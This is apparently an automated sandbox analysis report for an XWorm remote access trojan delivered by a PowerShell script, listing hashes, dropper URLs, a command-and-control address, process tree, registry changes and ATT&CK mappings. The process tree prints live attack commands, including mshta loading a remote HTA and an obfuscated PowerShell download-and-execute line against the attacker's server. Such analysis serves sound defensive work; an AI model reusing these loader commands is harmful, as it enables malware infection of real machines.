xworm | fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133

General

Target

prueba.ps1
Size

124B
MD5

6542fcabb69f2e45e5abb6ef369d6b4b
SHA1

a9e758873a6c57d87b7e3bf02cfc04be6959d59b
SHA256

fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133
SHA512

6f9a75d4e17909c0dea87683bec1286964b8b21db927650c72db8b33df37b07a16b84bd56db42a5055e20c1895821b541467812dc03d5cefb4a144cebb2afb26

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.147.124.40/Capcha.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.147.124.40/x/8.png

Extracted

Family

xworm

C2

185.147.124.40:4404

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4060-34-0x0000000000400000-0x0000000000414000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	4084	mshta.exe
3	3976	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3976 set thread context of 4060	3976	powershell.exe	82

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3024	ipconfig.exe

Modifies registry class 3 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2740	powershell.exe
2740	powershell.exe
3976	powershell.exe
3976	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	4060	RegSvcs.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 4084	2740	powershell.exe	78
PID 2740 wrote to memory of 4084	2740	powershell.exe	78
PID 4084 wrote to memory of 3976	4084	mshta.exe	79
PID 4084 wrote to memory of 3976	4084	mshta.exe	79
PID 3976 wrote to memory of 3024	3976	powershell.exe	81
PID 3976 wrote to memory of 3024	3976	powershell.exe	81
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82
PID 3976 wrote to memory of 4060	3976	powershell.exe	82

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\prueba.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://185.147.124.40/Capcha.html
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/8.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:3024
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4060

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyciiuaw.rit.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2740-12-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/2740-11-0x0000014C192B0000-0x0000014C192C0000-memory.dmp

Filesize
64KB

Download
memory/2740-0-0x00007FFD6EF13000-0x00007FFD6EF15000-memory.dmp

Filesize
8KB

Download
memory/2740-13-0x0000014C31BC0000-0x0000014C31CC2000-memory.dmp

Filesize
1.0MB

Download
memory/2740-14-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/2740-17-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/2740-19-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/2740-10-0x0000014C19380000-0x0000014C193A2000-memory.dmp

Filesize
136KB

Download
memory/2740-1-0x0000014C31A20000-0x0000014C31AA2000-memory.dmp

Filesize
520KB

Download
memory/3976-31-0x000002085B870000-0x000002085B884000-memory.dmp

Filesize
80KB

Download
memory/3976-32-0x000002085B850000-0x000002085B86A000-memory.dmp

Filesize
104KB

Download
memory/3976-33-0x000002085B750000-0x000002085B756000-memory.dmp

Filesize
24KB

Download
memory/3976-35-0x000002085B8B0000-0x000002085B8CE000-memory.dmp

Filesize
120KB

Download
memory/4060-34-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4060-37-0x0000000005A20000-0x0000000005ABC000-memory.dmp

Filesize
624KB

Download
memory/4060-38-0x00000000060B0000-0x0000000006116000-memory.dmp

Filesize
408KB

Download
memory/4060-39-0x00000000063E0000-0x00000000064E2000-memory.dmp

Filesize
1.0MB

Download
memory/4060-40-0x0000000006B90000-0x0000000006C22000-memory.dmp

Filesize
584KB

Download
memory/4060-41-0x00000000071E0000-0x0000000007786000-memory.dmp

Filesize
5.6MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads